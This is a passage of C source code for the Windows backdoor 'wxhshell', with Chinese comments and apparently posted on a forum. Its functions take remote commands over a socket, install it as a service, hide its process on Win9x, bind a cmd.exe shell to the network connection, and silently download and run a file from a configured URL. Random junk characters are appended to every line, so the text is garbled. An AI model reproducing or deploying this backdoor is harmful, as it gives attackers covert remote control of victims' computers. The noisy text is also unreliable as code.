    switch(cmd[0]) { w eT33O"!1  
  0'Tq W9P  
  // 帮助 G#HbiVH9  
  case '?': { Mw?nIIu(@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h76#HUBr!  
    break; ~4U[p  50  
  } S&6}9r  
  // 安装 ~{n_rKYV  
  case 'i': { *wwLhweQ5W  
    if(Install()) Umm_FEU#]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gu/eC  
    else Ve2z= 6(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "@gJ[BL#  
    break; o2 W pi  
    } teUCK(;23  
  // 卸载 "]LNw=S  
  case 'r': { :GIY"l'  
    if(Uninstall()) U# -&%|b$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?p. dc ~tZ  
    else mppBc-#EYr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gET& +M   
    break; zf$OC}|\w  
    } |}es+<P  
  // 显示 wxhshell 所在路径 D ,mFme  
  case 'p': {  .#zx[Io  
    char svExeFile[MAX_PATH]; ]gI XG`  
    strcpy(svExeFile,"\n\r"); $B~a*zZ7  
      strcat(svExeFile,ExeFile); K *{C:Y  
        send(wsh,svExeFile,strlen(svExeFile),0); (8GJLs 8  
    break; q .tVNKy%  
    } VDPqI+z  
  // 重启 izY,t!  
  case 'b': { 9=rYzA?)+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UldKlQ8  
    if(Boot(REBOOT)) Y;e@ `.(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ji!FZf  
    else { `*KS` z?  
    closesocket(wsh); n-Dr/c4  
    ExitThread(0); uji])e MN~  
    } eY\tO"Hc  
    break; 0K7-i+\#  
    } OMJr.u  
  // 关机 I}n"6'*  
  case 'd': { y|.wL=;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xtpD/,2  
    if(Boot(SHUTDOWN)) U,RIr8G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Ral%I:gr  
    else { SK;f#quUQ  
    closesocket(wsh); DQ9 <N~l  
    ExitThread(0); QdO$,i'  
    } g|)e3q{M  
    break; WVy"MD  
    } BAzc'x&<  
  // 获取shell 6XFO@c}d  
  case 's': { $T;3*D90  
    CmdShell(wsh); 0<nKB}9  
    closesocket(wsh); pRMM1&H  
    ExitThread(0); Y8\Ms^rz  
    break; h=`rZC  
  } 5:ir il  
  // 退出 tHJ1MDw'  
  case 'x': { 86R}G/>>e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #n2GW^x  
    CloseIt(wsh); "Hg n2o.;5  
    break; i;/qJKr&#  
    } I*K^,XY+  
  // 离开 (9Hc`gd)p  
  case 'q': { Kz$Ijj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q=uwmg86  
    closesocket(wsh); <=A&y5o  
    WSACleanup(); -z'@Mh|i6l  
    exit(1); Hsp|<;Yg  
    break; fK4laDB TO  
        } ;GH(A=}/Y  
  } N|[a<ut<  
  } K VQZ  
9]AKNQq m  
  // 提示信息 +X Y}-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _fMooI)U1  
} 3P #1fI(c  
  } l#Qf8*0  
JmY"Ja,&  
  return; K"g[%O<  
} J4S2vBe16  
9wtl|s%A %  
// shell模块句柄 j$8 ~M  
int CmdShell(SOCKET sock) `P# h?tZ  
{ sM?DNE^BvW  
STARTUPINFO si; F$+_Z~yt3;  
ZeroMemory(&si,sizeof(si)); 8,['q~z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _a.Q@A4'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6fkL@It  
PROCESS_INFORMATION ProcessInfo; K0+J!- a]7  
char cmdline[]="cmd"; lzw r]J%|?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g$]9xn#_[  
  return 0; ;{Ovqo|  
} Ay56@_d2  
[9>1e  
// 自身启动模式 =Wl CE_  
int StartFromService(void) .@[+05Yw  
{ e@I?ESZ5  
typedef struct /8GVu7  
{ zL7+HY* 3o  
  DWORD ExitStatus; l'o'q7&=z  
  DWORD PebBaseAddress; w>m/c1  
  DWORD AffinityMask; g(<@r2p  
  DWORD BasePriority; O #0:6QX  
  ULONG UniqueProcessId; nQ/El&{  
  ULONG InheritedFromUniqueProcessId; Z7%>O:@z  
}   PROCESS_BASIC_INFORMATION; ea B-u  
P/ug'  
PROCNTQSIP NtQueryInformationProcess; mD0pqK  
<k^h&1J#g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Os[^ch  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .CmwR$u&  
G>H&M#7K  
  HANDLE             hProcess; 4} =]QQoE  
  PROCESS_BASIC_INFORMATION pbi; RL>[t  
tq1h1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *t*yozN  
  if(NULL == hInst ) return 0; Y&+<'FA  
! .!qJ%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _-&Au%QNJ`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,.F,]m=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %>pglI  
F"9q Bl~  
  if (!NtQueryInformationProcess) return 0; YSeXCJ:Iy  
b-~Gt]%>m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]D<r5P%  
  if(!hProcess) return 0; \O\onvEa  
UWmWouA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C2!POf;GdN  
Xhi9\wteYw  
  CloseHandle(hProcess); =Y /  
iF<VbQP=X^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |-2,k#|  
if(hProcess==NULL) return 0; szWh#O5=  
*mq+w&  
HMODULE hMod; V,&s$eQC  
char procName[255]; '{Iv?gh"  
unsigned long cbNeeded; 7GE.>h5  
X0p=jBye~>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -l$]>J~  
 ^d4#  
  CloseHandle(hProcess); +&Sf$t 1  
.Ml}cE$L  
if(strstr(procName,"services")) return 1; // 以服务启动 ?][Mv`ST  
F) < f8F  
  return 0; // 注册表启动 =yvyd0|35  
} Nluy]h &  
IO|">a6  
// 主模块 yO$]9  
int StartWxhshell(LPSTR lpCmdLine) glPOW  
{ &LHQ) ?  
  SOCKET wsl; t$R|lv5<  
BOOL val=TRUE; =U3 !D;XP  
  int port=0;  t\u0\l>  
  struct sockaddr_in door; YVqhX]/   
=f=MtH?0y  
  if(wscfg.ws_autoins) Install(); B9Y "J  
C$ nT&06o  
port=atoi(lpCmdLine); #![b9~%WTh  
@yS  
if(port<=0) port=wscfg.ws_port; 4k<4=E  
rp.JYz,  
  WSADATA data; !x|OgvJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !,INrl[  
3[aCy4O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y7]N.G3,]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZKPnvL70  
  door.sin_family = AF_INET; jsfyNl? 6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l 0jjLqm:  
  door.sin_port = htons(port); :C_\.pA  
uFL~^vz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @T>)fKCg  
closesocket(wsl); dX,2cK[aG  
return 1; asmMl9)(`  
} {pE")O7~P  
c_ vj't  
  if(listen(wsl,2) == INVALID_SOCKET) { P ;PS+S9  
closesocket(wsl); VQ{}S $jQ  
return 1; )9{?C4NQ  
}  s>76?Q:i  
  Wxhshell(wsl); 2?nK71c"  
  WSACleanup(); wQlK[F]!>  
?_(0cVi  
return 0; 8L9xP'[^  
8s6[?=nM  
} Ng0V&oDI  
}<9*eAn`  
// 以NT服务方式启动 :|EM1-lwf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vZq7U]RW  
{ Jou~>0,/j  
DWORD   status = 0; /}]X3ng  
  DWORD   specificError = 0xfffffff; ,3!l'|0jJ  
]SFB_5Gb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B=JeZMn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o{(-jhR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dNB56E)5`J  
  serviceStatus.dwWin32ExitCode     = 0; {ckA  
  serviceStatus.dwServiceSpecificExitCode = 0; ?r"m*fY%  
  serviceStatus.dwCheckPoint       = 0; K%Vl:2#F  
  serviceStatus.dwWaitHint       = 0; e(@YBQ/Z  
"9Sxj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r2]:'O6  
  if (hServiceStatusHandle==0) return; dUk^DI,:l  
N^Xb_jg;J  
status = GetLastError(); 4xjk^N9  
  if (status!=NO_ERROR) f5IO<(:E^  
{ .\7R/cP}{A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D[x0sly  
    serviceStatus.dwCheckPoint       = 0; Q4JwX=ZVj  
    serviceStatus.dwWaitHint       = 0; q*SX.A>YR  
    serviceStatus.dwWin32ExitCode     = status; lBvQ?CJ<y  
    serviceStatus.dwServiceSpecificExitCode = specificError; t \kI( G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wv|:-8V  
    return; Q|rrbxb  
  } 3l0x~  
?_3K]i1IS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cfyN)#9  
  serviceStatus.dwCheckPoint       = 0; Y.Na9&-(  
  serviceStatus.dwWaitHint       = 0; 9s5gi+l_O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @@9#od O  
} hs}nI/#  
)zkk%mE/IM  
// 处理NT服务事件,比如:启动、停止 J GnL[9P_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pP;GDW4  
{ ^n"ve2   
switch(fdwControl) &EYO[~D06  
{ V7.xKmB  
case SERVICE_CONTROL_STOP: Dtl381F J  
  serviceStatus.dwWin32ExitCode = 0;  s de|t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZMQSy7  
  serviceStatus.dwCheckPoint   = 0; GxL5yeN@(  
  serviceStatus.dwWaitHint     = 0; JeU|e$I4>  
  { J~9l+?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J b Hn/$  
  } rIR~YMv!  
  return; tbrjTeC  
case SERVICE_CONTROL_PAUSE: ";AM3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cd)yj&:?Bt  
  break; SE&J)Sj]  
case SERVICE_CONTROL_CONTINUE: h1} x2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *[t@j*al  
  break; OV8Y)%t"  
case SERVICE_CONTROL_INTERROGATE: h lD0^8S  
  break; Rm`_0}5  
}; A6YkoYgC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1nhC! jDD  
} P#]%C  
Ll\y2oJ  
// 标准应用程序主函数 avrf]raM|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 422d4Zu  
{ _"%mLH=!8  
]p~w`_3v  
// 获取操作系统版本 J=|PZ2"  
OsIsNt=GetOsVer(); FWcE\;%yVg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MX2 Zm  
2'UWPZgE  
  // 从命令行安装 tP8>0\$)  
  if(strpbrk(lpCmdLine,"iI")) Install(); T+7-6y+ d  
?G%C}8a  
  // 下载执行文件 qKag'0e  
if(wscfg.ws_downexe) { "u:5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bim}{wMb  
  WinExec(wscfg.ws_filenam,SW_HIDE); qT}<D`\  
} N# $ob 9  
ZT;$aNy  
if(!OsIsNt) { da<B6!  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 ZW {  
HideProc(); J3`a}LyDf  
StartWxhshell(lpCmdLine); CR3<9=Lv>  
} AlF"1X02  
else [vCZoG8+>  
  if(StartFromService()) IJ >qs8  
  // 以服务方式启动 hq[;QF:B  
  StartServiceCtrlDispatcher(DispatchTable); x{y}pH"H  
else KCEBJ{jM  
  // 普通方式启动 3fA.DK[4[  
  StartWxhshell(lpCmdLine); h$ ]=z\=  
?Vg251-H  
return 0; Yl}'hRp  
}
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只看该作者 1 发表于: 2006-10-10
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